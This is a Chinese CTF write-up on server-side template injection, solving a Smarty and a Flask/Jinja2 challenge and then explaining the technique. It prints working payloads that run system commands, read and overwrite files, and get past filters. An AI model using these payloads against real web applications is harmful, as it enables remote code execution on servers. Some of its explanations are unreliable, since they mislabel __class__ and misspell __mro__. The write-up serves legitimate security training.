【无标题】

1.[HDCTF 2023]SearchMaster

他说模板都一样，可能有模板注入，再看后面POST传一个data参数

尝试传参

传1的时候显示1，可能有SSTI注入漏洞，测试一下{{7*7}}

 成功的执行了，说明存在SSTI漏洞，但是是什么模板还需要再判断

{{config}}渲染函数看一下

报错了，看报错内容，smarty模板

所以这题是smarty模板的SSTI注入漏洞

尝试命令执行，

构造{{system('ls /')}}查看根目录下的文件

可以看到有一个flag字样的文件，cat命令打开

{{system('cat /flag_13_searchmaster')}}

得到flag

2.[HNCTF 2022 WEEK2]ez_SSTI

还是SSTI注入，但是看了很久没有参数，可能需要爆参数

参数是name，当然也可以用fuzz

传参：?name={{7*7}}

确实是SSTI模板注入漏洞

config渲染函数看一下

出来了这些东西，看不懂不要紧，搜索看一下

可以看到是flask模板

{{"".__class__.__bases__[0].__subclasses__()}}

遍历子目录

 可以看到有非常多的函数，但哪个可以使用还需要测试,最终

构造?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

读取读取目录下的文件

再用cat命令读取flag，构造

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

sstiFLASK模板可以看作者给的这个https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python

总结两个模板，smarty模板和FLASK模板

Smarty是一个PHP的模板引擎，提供让程序逻辑与页面显示（HTML/CSS）代码分离的功能。

Smarty是基于PHP开发的，对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令，最常规的思路自然是先测试该标签。但是在smarty3中表明：Smarty已经废弃{php}标签，强烈建议不要使用。在Smarty 3.1，{php}仅在SmartyBC中可用。不做过多的描述。

Smarty的{if}条件判断和PHP的if非常相似，只是增加了一些特性。每个{if}必须有一个配对的{/if}，也可以使用{else} 和 {elseif}，全部的PHP条件表达式和函数都可以在if内使用，如||*, or, &&, and, is_array(), 等等，如：{if is_array($array)}{/if}*

{}标签

直接输入php命令例如：{system("ls")}

以下是SSTI注入的常规方法。

可以执行的话箭头是往上走，不可以执行就是往下走，如此便可以判断方法。

FLASK模板

一、flask是用python编写的一个轻量web开发框架。

二、flask使用jinjia2渲染引擎进行网页渲染，当处理不得当，未进行语句过滤，用户输入{{控制语句}}，会导致渲染出恶意代码，形成注入。

三、flask基础知识：

__class__   子类

__object__   父类

object是父子关系的顶端，所有的数据类型最终都是父类object

子类可以调用父类下的其他子类，也就是我做不到的事情找我的父类，我的父类会找能做这件事的子类帮我把这件事做了。

__class__看当前类。假设是A

__class__.__base__看当前类A的父类B，假设是B

__class__.__base__.__base__看B的父类，，，属于层层递进

__class__.__mor__罗列所有的父类关系

__subclasses__可以调用父类下面的其他子类

__init__（初始化方法），__globals__（访问全局变量，字典），通过popen，以及read方法来进行系统命令执行

print('abc'.__class__.__base__.subclasses__()[41].__init__.__globals__['os']('fl4g').read())
 
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

__builtins__下的open进行文件的读取：

{{''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())}}

通过write() 方式修改文件内容

{{''.__class__.__mro__[1].__subclasses__()[41].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')}}
 

小结：

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

注意{{''.__class__}}，这个payload的单引号可以换成""   []   ()

因为不管他包裹的是什么子类，最终返回的父类都是同一个的。

这样在有些地方被过滤了就可以替换。

__subclasses__后面要跟括号，这样才能被认为是一个函数来被执行.